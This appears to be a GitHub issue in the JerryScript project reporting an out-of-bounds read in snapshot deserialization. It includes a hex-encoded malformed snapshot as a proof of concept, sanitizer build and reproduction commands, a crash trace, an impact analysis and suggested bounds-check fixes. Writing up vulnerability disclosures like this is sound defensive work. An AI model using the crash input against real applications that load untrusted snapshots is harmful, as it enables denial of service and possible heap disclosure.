Skip to content

Snapshot deserialization lacks bounds checks on untrusted offset/length fields -> out-of-bounds read (SEGV / ASan use-after-poison / DoS) (CWE-125) #5301

Description

@1820893135-pixel

Summary

jerry_exec_snapshot deserializes an external, untrusted buffer directly as a snapshot (header + function bytecode + literal table). It only validates func_index < number_of_funcs and lit_table_offset <= snapshot_size, but never validates that:

  • func_offsets[func_index] points inside the valid bytecode region, or
  • the bytecode's internal size/refs fields, or the literal-table offset/length fields, are in-bounds.

The code then constructs an ecma_compiled_code_t * from (snapshot_data_p + func_offset) and dereferences it, or performs memcpy/memcmp/loop reads over untrusted lengths in snapshot_load_compiled_code / ecma_snapshot_get_literal / lit_utf8_string_length / lit_is_utf8_string_magic. This reads beyond the input buffer: ASan marks bytes past the real input as poisoned (use-after-poison), and huge/illegal offsets directly cause SEGV.

  • Affected: JerryScript 3.0.0 (jerry-core/api/jerry-snapshot.c:915, snapshot_load_compiled_code:664/556/715, ecma/base/ecma-literal-storage.c:668/689/694, lit/lit-strings.c:284, lit/lit-magic-strings.c:211)
  • Severity: High
  • CWE: CWE-125 (Out-of-bounds Read)

Detail

The deserializer trusts attacker-controlled offset/length fields in the snapshot header and bytecode. A malformed snapshot (from ~36 bytes up to a few hundred bytes) drives:

  • jerry_exec_snapshot(snapshot_data_p + func_offset) dereference (jerry-snapshot.c:915) → SEGV / ASan use-after-poison
  • snapshot_load_compiled_codememcpy with an unchecked size field (jerry-snapshot.c:664) → OOB read
  • ecma_snapshot_get_literal → literal offset/length not validated (ecma-literal-storage.c:668/689/694) → OOB read / giant memcpy (READ of size 65536)

POC

Rebuild the trigger (a SNAP-prefixed malformed snapshot) and run:

# 0) rebuild POC
printf '534e41504a52525946000000000000004000000001000000f0ffffff0500010000300100260000000102020207000000470151013500df015600000000000000870000000100610000' | xxd -r -p > poc.bin

# 1) build (ASan+UBSan, snapshot exec enabled)
cmake -S . -B build -DENABLE_LTO=OFF -DJERRY_SNAPSHOT_EXEC=ON -DJERRY_SNAPSHOT_SAVE=ON \
      -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_C_COMPILER=clang \
      -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -O1 -g"
cmake --build build --target jerry-core jerry-port -j$(nproc)
clang -fsanitize=fuzzer,address,undefined -fno-sanitize-recover=all -O1 -g -DJERRY_SNAPSHOT_EXEC=1 \
      -I jerry-core/include harness.c build/lib/libjerry-core.a build/lib/libjerry-port.a -lm -o jerry_fuzzer

# 2) reproduce
./jerry_fuzzer poc.bin

Trigger result (ASan)

==3332255==ERROR: AddressSanitizer: SEGV on unknown address 0x7b3c4d2c47f9 (pc ... T0)
The signal is caused by a READ memory access.
    #0 0x55d24492ea0a in jerry_exec_snapshot jerry-snapshot.c:915:32
    #1 0x55d24492ac56 in fuzz_snapshot harness.c:138:25
    #2 0x55d24492ac56 in LLVMFuzzerTestOneInput harness.c:185:5

Other variants in the same root cause: ASan use-after-poison in snapshot_load_compiled_code (memcpy of size 65536) and ecma_snapshot_get_literal (READ of size 1/2/8).

  • Replay exit code: 134 (ASan abort)
  • Deterministic: yes — 16+ distinct crash inputs across the campaign, all in the snapshot deserialization path.
Image

Impact

Any application that passes an untrusted byte string to jerry_exec_snapshot (loading user-uploaded / network-downloaded .jsn snapshots, or precompiled bytecode on embedded devices) can be crashed deterministically by a tens-of-bytes malformed snapshot (DoS). The defect is an OOB read (not write), so direct arbitrary-code-execution is not realistic; however, the OOB read can pull adjacent/uninitialized heap memory into JS string/number values. If the app subsequently prints/logs/serializes those values, heap information disclosure is possible, which can serve as a leak primitive for further exploitation.

Suggested fix

  1. Validate func_offsets[func_index] against the actual bytecode region bounds before constructing the ecma_compiled_code_t pointer (jerry-snapshot.c:915).
  2. Bound-check every internal size/length field in snapshot_load_compiled_code and the literal table before memcpy/memcmp/loop reads (ecma-literal-storage.c, lit-strings.c, lit-magic-strings.c).
  3. Treat the snapshot as untrusted input: enforce that all offsets/lengths are >= header_size and <= snapshot_size, and reject malformed layouts (e.g., number of funcs vs. available bytes).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions